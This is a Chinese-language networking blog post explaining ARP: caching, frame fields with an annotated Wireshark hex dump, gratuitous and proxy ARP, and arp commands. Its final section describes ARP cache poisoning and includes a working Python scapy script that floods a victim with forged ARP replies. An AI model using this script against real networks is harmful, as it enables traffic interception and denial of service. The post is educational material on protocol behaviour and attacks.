動態

詳情 返回 返回

😎ARP協議 ~ 咋個AR咋個P - 動態 詳情

Address Resolution Protocol - ARP協議

1. 概述

地址解析協議(Address Resolution Protocol)也被稱之為ARP協議,其本質上用於根據IP地址獲取物理地址(即MAC地址)的一個TCP/IP協議,對應提供ARP反向映射的協議稱為RARP協議,目前比較少使用同時需要手動進行配置

主機發送消息時需要將包含目標IP地址的ARP請求廣播到網絡上的所有主機,並接收返回消息,以此確定目標的物理地址,在收到消息後會將對應接收到的物理地址存儲在本地ARP緩存表中,如下所示:

需要注意的是,ARP僅僅在同一個IP子網內才會工作,如果是遠程主機,則需要一台子網內可以進入下一個網段的路由器協助數據進行轉發

ARP廣播指的是發送一份ARP請求的以太網數據幀到當前局域網中的每個主機上

主要目的是將網絡層的IP地址動態映射到數據鏈路層上的MAC地址,因為在發送數據包時,需要知道目標設備的MAC地址,以便正確將數據包傳遞到目標設備

動態映射指的是整個過程為自動更新,不需要人為干預,應用程序和系統用户無需擔心,如果一台主機設備改變了網絡接口卡,從而改變了硬件地址,但IP地址依舊沒變,ARP會在一定延時後繼續正常工作

2. TCP/IP vs OSI

ARP協議在TCP/IP分層結構中屬於網絡層,在OSI模型中屬於數據鏈路層

TCP/IP四層協議包括了:應用層、傳輸層、網絡層和鏈路層

OSI七層協議包括了:應用層、表示層、會話層、傳輸層、網絡層、鏈路層、物理層

OSI: Open System Interconnect

TCP/IP: Transmission Control Protocol / Internet Protocol

TCP/IP協議包含四層:應用層、傳輸層、網絡層和數據鏈路層,對比起OSI七層模型,兩者有關應用層與數據鏈路層對應為以下關係:

  • OSI模型於1984年ISO國際標準化組織開發
  • TCP/IP模型最早於1970年由 Vinton Cerf 和 Robert E. Kahn 所設計,最終於1990年代中期蓬勃發展
  • TCP/IP四層模型中的鏈路層對應為OSI模型中的數據鏈路層與物理層
  • OSI七層模型中,應用層、表示層和會話層合併為TCP/IP四層模型中的應用層
  • TCP/IP在設計實現的時候,支持跨層封裝,而OSI則不行
  • OSI在設計的過程中,將網絡劃分為更多的層級,在排查故障的過程中,能夠更快地定位到問題
  • TCP/IP是工程實踐,而OSI是理論模型

3. ARP高速緩存

ARP主要利用的是網絡廣播的功能來進行獲取對應IP的物理地址(也稱為MAC地址),每一台計算機或聯網設備都會維護一個ARP高速緩存表,一般可在命令行界面通過arp -a的方式進行查看,這個表也就記錄着IP地址與MAC地址的映射關係,如下所示:

ARP高效運行的機制關鍵在於圖展現出的ARP高速緩存表,在默認情況下,每一個條目的有效時間是20分鐘,並且該有效時間會在每次從ARP緩存表取出使用後繼續重置,需要注意的是,ARP高速緩存表也可以緩存IP對應不存在物理地址的情況,這一類條目稱為“不完整條目”,其有效時間通常為3分鐘

每一個條目中,對應顯示通常會包含以下幾個信息:

  • IP地址
  • 硬件地址
  • 類型:表示的是ARP緩存表項的類型,可以是動態或靜態的
  • 接口:表示設備通過哪個網絡接口與對應的IP進行關聯

4. MAC地址

MAC地址的全稱是Media Access Control Address

通常,每個網絡接口對應都會有一個硬件地址,也就是上述提到的MAC地址,它是一個48 bit的值

在硬件層次上進行數據幀交換的時候必須要有正確的MAC地址,TCP/IP也有自己的地址也就是32 bit的IP地址,但是往往只知道IP地址是無法讓內核發送數據給到對應的主機的,必須要知道目的主機端的硬件地址才能夠發送數據,因此一般稱ARP的功能是在32 bit的IP地址和採用不同網絡技術的硬件地址之間提供動態映射

5. ARP幀格式

ARP請求也可以用於IPv4以外的地址,一般情況下,ARP請求的幀格式呈現為以下,前14個字節構成了標準的以太網頭部,其他部分則專門用於將IPv4地址轉化為48位的物理地址:

image-20231113211616285

圖源:《TCP/IP詳解 卷1: 協議》 - 4.4 ARP幀格式 - P116

通過以上幀格式,可以識別包含以下字段信息:

  • 以太網請求幀頭部(14字節)

    • DST:全稱是Destination Address,代表的是目的MAC地址,對於ARP請求來説,如果目的地址為ff:ff:ff:ff:ff:ff,則説明對應是廣播地址,在同一廣播域中的所有以太網接口都能夠接收到該請求幀
    • SRC:全稱是Source Address,代表的是源MAC地址,即是發出請求的設備MAC地址
    • 長度或類型:每個以太網幀頭部中,都有該字段,對於ARP協議來説,該字段2個字節對應始終為0x0806,這是以太網協議中規定的ARP協議的類型字段數值,每一個協議都有一個標準化的協議標識,關於更多的協議標識可以參考IANA(Internet Assigned Numbers Authority)
  • 固定大小(8字節)

    • 硬件類型:指的是硬件地址類型,對於以太網(Ethernet)來説,該值為0x0001,硬件類型還有其他的選值,比如ARP高級增強型數據鏈路層(一般用於ATM使用)值為0x000f,更多詳細硬件類型值可參考IANA
    • 協議類型:指的是映射的協議地址類型,對應IPv4地址來説,該值為0x0800,對於IPv6地址來説,該值為0x86DD,但是需要注意的是,ARP協議本身只定義了IPv4地址的解析,如果在IPv6環境中,通常會使用Neighbor Discovery Protocol(NDP)協議來做類似的功能,因此該ARP協議的類型字段主要在IPv4環境中使用
    • 硬件大小:指的是硬件地址的字節數,對於IPv4地址的請求或應答來説,硬件地址大小值通常為6,表示為6個字節,對應是6 Bytes = 6 * 8 Bits = 48 Bits
    • 協議大小:指的是協議地址的字節數,對於IPv4地址的請求或應答來説,協議地址大小值通常為4,表示為4個字節,對應是4 Bytes = 4 * 8 Bits = 32 Bits
    • Op:指出該操作是ARP請求(0x0001)、ARP應答(0x0002)、RARP請求(0x0003)或RARP應答(0x0004),由於ARP請求和ARP應答的長度 & 類型字段相同,因此該操作字段是必須的,用於識別出操作類型
  • 可變大小(20字節)

    • 發送方硬件地址:即為ARP發送方的48位硬件(MAC)地址
    • 發送方協議地址:即為ARP發送方的32位IPv4地址
    • 目的硬件地址:即為ARP目的方的48位硬件(MAC)地址
    • 目的協議地址:即為ARP目的方的32位IPv4地址
Tips: 此處的可變大小區域會存在與以太網請求幀頭部重複的信息,比如發送方的MAC地址
  • 填充比例(18字節):用於填充數據幀,以達到以太網幀要求的最小64字節
  • FCS(4字節):FCS的全稱是Frame Check Sequence,其中文意思是“幀校驗序列”,是一種錯誤檢測機制,用於檢測數據幀在傳輸過程中是否受到了損壞或發生了任何錯誤,幀校驗序列一般跟在幀的最後一個字節後

當接收端接收到ARP請求時,會填充它的物理設備地址(MAC),隨後將兩個發送方地址與接收方地址進行互換,再將op位置為ARP應答(0x0002),以此生成ARP響應幀

以下是一封有關ARP請求的以太網幀,由Wireshark APP進行抓取,解釋按照字節順序從左至右進行:

Tips:以下的以太網幀以十六進制進行表示
0000   ff ff ff ff ff ff 48 5f 08 61 4a 77 08 06 00 01   ......H_.aJw....
0010   08 00 06 04 00 01 48 5f 08 61 4a 77 c0 a8 00 01   ......H_.aJw....
0020   00 00 00 00 00 00 c0 a8 00 69 00 00 00 00 00 00   .........i......
0030   00 00 00 00 00 00 00 00 00 00 00 00               ............
  • ff ff ff ff ff ff:對應為DST區域,其中48位都是1,指的是這封數據幀的目的物理地址,表示這是一個局域網廣播地址,共6個字節
  • 48 5f 08 61 4a 77:對應為SRC區域,大小同上,代表的是這封數據幀的發出物理設備地址,共6個字節
  • 08 06:對應表示為ARP消息的長度類型,共2個字節
  • 00 01:對應為硬件類型Ethernet,共2個字節
  • 08 00:對應為協議類型IPv4,共2個字節
  • 06:對應的是硬件地址大小,06則代表硬件地址長度對應為6個字節,也就是MAC地址的長度
  • 04:對應為協議地址大小,04則代表IP地址長度對應為4個字節
  • 00 01:對應為ARP協議的操作類型,如上所述,0x0001代表的是ARP請求報文,共2個字節
  • 48 5f 08 61 4a 77 :對應為ARP消息的發送方硬件地址,共6個字節
  • c0 a8 00 01:對應為ARP消息的發送方IP地址,共4個字節,對應轉換為十進制為192.168.0.1
  • 00 00 00 00 00 00:對應為ARP消息接收方的硬件地址,由於無法暫時得知,因此該區域為0填充,共6個字節
  • c0 a8 00 69:對應為ARP消息接收方的協議地址,共4個字節,對應轉換為十進制為192.168.0.105
  • 00 00 00 00 ..:剩餘的0填充,則對應是為了滿足以太網幀最小大小為64 Bytes而做的填充

a. ARP的請求幀

已知以太網幀大小最少是64 Bytes,以太網幀從左至右格式如下所示:

Preamble Destination MAC address Source MAC address Type / Length User Data Frame Check Sequence (FCS)
8 Bytes 6 Bytes 6 Bytes 2 Bytes 46 - 1500 Bytes 4 Bytes
Preamble區由前導同步碼 7 個字節 + 幀開始定界符 1 個字節共計8個字節組成

從以上幀結構可以看出以太網幀大小區間在8 + 6 + 6 + 2 + (46 ~ 1500) + 4 = 72 ~ 1526 Bytes

通過Wireshark APP抓包發現ARP請求包中大小加和僅為60 Bytes,如下所示:

image-20231117135228703

其中造成的幀大小不一致現象差異主要是由於數據幀到達網卡時,會先去掉前導同步碼和幀開始定界符(Preamble區域),再對其進行CRC校驗,如果校驗出錯,則直接丟棄,如果正確則進行下一步處理,由此可得最終的數據幀字節範圍為:6 + 6 + 2 + (46 ~ 1500) = 60 ~ 1510 Bytes ,然而實際的以太網幀則是包含了幀校驗序列(FCS)的,因此以太網幀最小為64 Bytes

b. ARP的響應幀

通過Wireshark APP抓包發現本地ARP響應包中大小加和僅為42 Bytes,缺失了幀末尾的填充區域,如下所示:

image-20231117224850033

丟失padding填充區域的主要原因在於以太網數據幀的填充操作主要由網絡接口卡(Network Interface Card)來完成,當系統發送以太網數據幀時,網絡接口卡(NIC)會識別並追加填充大小來保證數據幀能夠滿足以太網數據幀的最小要求的64個字節

網絡接口卡(NIC)負責填充判斷、FCS校驗與添加,同時FCS是在數據幀封裝的最後階段,也就是説FCS是在數據鏈路層的發送端對應的NIC上添加的,用於對數據幀的完整性校驗

Tips

  • FCS錯誤通常在物理層設備上處理,而Wireshark更專注於高層次的協議分析,因此在Wireshark查看包的中通常無法看到FCS段數據
  • 如果Wireshark接收到的以太網幀大小低於60 Bytes,則是本地網絡接口卡將對應的paddingCRC校驗碼進行了移除,可參考Wireshark Q&A
  • 經過在Mac系統的Wireshark抓包測試,發現ARP廣播以太網幀尾部的填充區域(Padding)不會被網絡接口卡(NIC)去除

6. Gratuitous ARP

Gratuitous ARP中文翻譯為免費ARP,是一種特殊類型的ARP消息,其目的並不是為了解析IP地址到MAC地址之間的映射,這種類型的ARP消息中將目的IP地址設置為當前主機的IP地址,Gratuitous ARP主要有以下目的:

  • 地址衝突檢測:正常情況下,發送地址與目標地址一致的ARP請求包不會收到任何的ARP響應,如果收到,則表明當前網絡中存在與自身IP地址重複的主機
  • 更新MAC地址:如果本地主機變更了硬件地址,則可以通過發送Gratuitous ARP廣播消息來使得其他主機統一更新各自的ARP高速緩存表(主要利用了主機接收到ARP響應就會將主機對應的ARP高速緩存表中的MAC變更為響應中的對應地址這一機制)

免費ARP消息與正常的ARP請求和響應的區別在於,它們在 ARP 消息中同時作為請求和響應。在 Gratuitous ARP 消息中,發送端填寫了它自己的IP地址和MAC地址,並且目標地址也設置為發送者的IP地址。這樣,免費ARP消息中包含了發送者的信息,但不需要等待其他設備的響應

7. 代理ARP

代理ARP可以使得一個主機系統(通常會是一台專門配置的路由器)專門回答不同主機的ARP請求,使得ARP請求的發送者認為做出響應的系統就是目的主機,但實際上目的主機可能不存在或存在於其他地方,其主要的目的是讓設備誤以為某個目標IP地址就在本地網絡中,從而將數據通過該設備進行中轉

在Linux環境下,可以通過向/proc/sys/net/ipv4/conf/*/proxy_arp寫入字符1或者通過sudo sysctl -w net.ipv4.conf.all.proxy_arp=1 來開啓ARP代理

8. ARP命令

在Linux或Mac系統下,可以通過命令行對本地的ARP高速緩存表進行操作,如下:

  • 顯示ARP緩存表
$ arp -a
  • 添加靜態ARP緩存條目
$ arp -s <IP地址> <MAC地址>
  • 刪除ARP緩存條目
$ arp -d <IP地址>
  • 刪除所有ARP緩存條目
$ arp -d -a
  • 顯示arp幫助菜單
$ arp --help

9. ARP攻擊

ARP攻擊通常指的是使用代理ARP功能來假扮某一個主機,對ARP請求做出應答,利用ARP協議在接收到ARP應答後會直接更新本地的ARP高速緩存表的特性,偽造出自定義的ARP應答,最主要的是將ARP消息體中的發送端IP對應的物理地址變更為不存在的物理地址,則會導致對應接收主機的本地ARP緩存有關的IP被修改為不存在的物理地址,最終導致網絡不連通,如下所示:

host B持續不斷地發起的ARP響應,響應內容則表明路由器192.168.0.1的物理地址為aa:2d:1c:c3:58:3f,而實際上該物理地址則是對應的host B的物理地址,最終由host A接收到該類ARP響應後更新本地ARP高速緩存表,造成後續host A的所有數據幀都送到了host B中,該類攻擊可能造成數據泄露或網絡不可用

以下是攻擊腳本示範:

import time
import sys
import scapy.all as scapy

def arp_spoof(victim_ip, victim_mac, router_ip, fake_router_mac):
    packet = scapy.ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=router_ip, hwsrc=fake_router_mac)
    scapy.send(packet, verbose=False)

victim_ip = input('victim ip:')
victim_mac = input('victim mac:')
router_ip = input('router ip:')
fake_router_mac = input('fake router mac:')
sent_packets_count = 0 
while True:
    sent_packets_count += 1
    arp_spoof(victim_ip, victim_mac, router_ip, fake_router_mac)
    print("[+] Packets sent " + str(sent_packets_count), end="\r")
    time.sleep(1)
    sys.stdout.flush()

EOF. 相關鏈接

  • Download Wireshark
  • Wireshark Filter
  • Display Filter Reference: Address Resolution Protocol
  • ARP Explained | Address Resolution Protocol
  • How Address Resolution Protocol (ARP) Works
  • Ethernet Frame II - outgoing frames don't show padding
  • 以太網幀格式、最少字節介紹(ARP)

Add a new 評論

Some HTML is okay.